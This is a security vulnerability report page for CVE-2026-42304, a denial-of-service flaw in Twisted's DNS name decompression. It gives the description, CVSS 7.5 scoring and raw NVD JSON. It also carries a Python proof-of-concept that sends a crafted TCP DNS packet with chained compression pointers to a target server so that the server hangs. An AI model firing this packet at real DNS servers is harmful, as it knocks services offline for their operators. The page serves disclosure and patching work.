Security Vulnerability Report
中文
CVE-2026-42304 CVSS 7.5 HIGH

CVE-2026-42304

Published: 2026-05-13 21:16:47
Last Modified: 2026-05-14 18:12:14

Description

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Twisted < 26.4.0rc2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 53 def create_malicious_dns_packet(): # DNS Header: Transaction ID 0x1234, Flags 0x0100 (Standard query), QDCOUNT 1 header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) # Construct a name with a compression pointer chain. # A compression pointer is 0b11XXXXXX (0xC0) followed by the offset. # We create a chain of pointers to simulate deep recursion. # Starts at offset 12 (right after header). # Pointer at 12 points to 13, pointer at 13 points to 14, etc. chain_length = 100 # Number of pointers in the chain malicious_name = b'' for i in range(chain_length): # Pointer points to the next byte offset = 12 + i + 1 # Ensure offset fits in 14 bits (standard DNS pointer limit) if offset > 0x3FFF: offset = 12 # Loop back if limit reached for simplicity pointer_byte = 0xC0 | (offset >> 8) malicious_name += struct.pack("!BB", pointer_byte, offset & 0xFF) # Terminate the name with a null byte (0x00) if needed, # though the chain itself might be parsed infinitely or deeply. malicious_name += b'\x00' # Question Type (A=1) and Class (IN=1) q_tail = struct.pack("!HH", 1, 1) return header + malicious_name + q_tail def send_exploit(): try: packet = create_malicious_dns_packet() # TCP DNS requires a 2-byte length prefix length_prefix = struct.pack("!H", len(packet)) full_packet = length_prefix + packet print(f"Sending malicious packet to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(full_packet) s.close() print("Packet sent. Check if the server hangs or CPU spikes.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42304", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:46.933", "lastModified": "2026-05-14T18:12:13.527", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-407"}]}], "references": [{"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4", "source": "[email protected]"}, {"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}